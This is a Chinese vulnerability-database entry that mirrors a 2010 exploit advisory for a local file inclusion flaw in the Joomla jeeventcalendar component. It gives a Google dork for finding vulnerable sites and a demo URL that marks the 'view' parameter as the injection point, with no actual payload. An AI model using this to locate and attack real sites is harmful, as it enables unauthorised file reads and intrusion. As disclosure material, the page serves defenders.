Joomla! Component jeeventcalendar - Local File Inclusion

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1060552 漏洞类型
发布时间 2010-06-26 更新时间 2010-06-26
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/14062
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Critical Level     : HIGH
Google Dork: inurl:/component/jeeventcalendar/
Price:$10.00
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
Description:-

100% MVC structure follow. There are three different managers in that
component:-

1. Category Management
2. Event Management
3. Event Setting

#######################################################################################################
Xploit:jeeventcalenda LFI


DEMO URL : http://server/component/jeeventcalendar/?view=[LFI]

###############################################################################